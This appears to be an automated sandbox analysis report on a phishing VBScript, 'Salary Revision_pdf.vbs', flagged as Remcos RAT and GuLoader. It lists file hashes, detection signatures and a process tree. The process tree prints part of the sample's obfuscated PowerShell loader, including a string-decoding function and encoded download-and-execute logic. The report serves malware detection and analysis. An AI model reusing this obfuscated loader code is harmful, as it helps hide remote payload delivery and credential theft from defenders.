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Windows
Analysis Report
Salary Revision_pdf.vbs
Overview
General Information
| Sample name: | Salary Revision_pdf.vbs |
| Analysis ID: | 1538691 |
| MD5: | 28dbf118827e6bf0607e4b736ae51611 |
| SHA1: | a0842630151f9633e4283d29dbd737cf1ca372e1 |
| SHA256: | aeae4edd76aaab5a1e861d14b5fbc5736fac6b569f74d004224786fcc129099c |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
wscript.exe (PID: 7408 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Salar y Revision _pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 7540 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Rastaf arian Rese rvoiret sp ermatophob ia Zwitter ions Nonev ading Para graferes # >;$Forjtte lserne='Ho rsehair';< #humeral G rainier Em bathe Agat y #>;$Maks imale188=$ Genanvende lsesproces sernconsum ably+$host .UI; funct ion Adiaba ticlly($Me gafonens){ If ($Maksi male188) { $Mahajan++ ;}$Minim=$ Genanvende lsesproces serntolera bility+$Me gafonens.' Length'-$M ahajan; fo r( $Genanv endelsespr ocesser=3; $Genanvend elsesproce sser -lt $ Minim;$Gen anvendelse sprocesser +=4){$Fari ngs=$Genan vendelsesp rocesser;$ alma+=$Meg afonens[$G enanvendel sesprocess er];$Erant issenes='N emhed';}$a lma;}funct ion Vanden de($Ferier s){ .($Bib liografisk ) ($Ferier s);}$Mealy mouthednes s=Adiabati clly 'In M slioRebzVa ni ndlPyrl fulaEni/sc o ';$Mealy mouthednes s+=Adiabat iclly 'Fli 5Udk.Con0n el stu(Dev WB gi den RodskroAmp w Tos Po R e NTilTuge I l1 Li0. ha. La0 ,i ;Ann DryWT i iB.onUnd 6Ham4Aff;O xy satxUnd 6 Gi4Ung;D am MisrDia vsva:The1T ia3,ou1Inf .til0T t)M a. BhiGsid esamcRefk FioFa,/ Vi 2 Ge0For1s ,o0Fll0 pe 1oft0 b1 i steF oiCh erstieshaf Tv.oFlyx . t/Cen1 B 3 Co1s m.T. l0Uds ';$V erdeners=A diabaticll y 'se u as s B ETi,r an-JunAFor G EveTrsND epT To ';$ Belard=Adi abaticlly ' UdhNint A.tLi pIdi s o:st /Al g/Undsovef Wor4 O l s p.Jacsserh BaaoIngpBr ./ Muz brW Dy AB lb P ,mF drUd,m TuPInd/ K oDi fiCysw Kria ,rnB siGe,.sacp Beif DabUd t ';$Prein dispositio n=Adiabati clly 'P,e> neu ';$Bib liografisk =Adiabatic lly 'C iI .neAurxVel ';$Formaa lene='Celi ectomy';$U jordiskes= '\Taxlessl y199.Cho'; Vandende ( Adiabaticl ly 'Alp$br agHiel llo H bsidAMy clopl:PerR E eeselfja nrlucAUn C ArstParOFo MWh eGenT ,asrBulYHs 1Pos8 Un8 ,ne= No$ e nEUnvNcriV Om : ffAEk iP Php odM etAs iTDis A la+sy $ U UCatjJou OG,irFordO veiNedsWry kKeeeFedss mi ');Vand ende (Adia baticlly ' H $ rGs,i l svO onBT ilA .aLA.d :.haFOrdO, lerRbes Or k dn Kvi,n gNansGOpks A tROxfEsk os DaudorL a.kt nta t itBoue Fyr udksDel=Tr y$ .nbF rE RholeddADi rr,andHol. sursPo pGu lL ori Ent pe(T n$ E xp eR.rne .tI UnNsep D liI LesT r.p fsosyn sTo iLiktH osiKl,oTri nsv )Dul ' );Vandende (Adiabati clly 'Gen[ KluNLilesw aTI s. nsF oeimpRsha V oITrfCHa neC,up EpO At IsigNKu rT seMYasA roN T asi lGValesilR gra]Fus:Fa m:Ab srepE Ka,cstaukn RInoIzoot LudYPatpst oRps.O FrT DeaOZencso loGr LDre Evi=s b Ut u[.urnFode Dantsan.Lu mss ae seC Uriuspar R IUnjT dyK dep,dorPaa oLiltUnco, ubc saOFac lR,gt nyAn kpskuEAfs] Erk:Abo:D atsk lGurs sty1Ran2sl e ');$Bela rd=$Forskn ingsresult aters[0];$ Estimering ens=(Adiab aticlly '. nd$ BagD s LsanoskrbA ntaextlTol :sknMIndaE l UB rNAle D xpEHo,RV ej=CornRem EVecwBu - AkoIntB In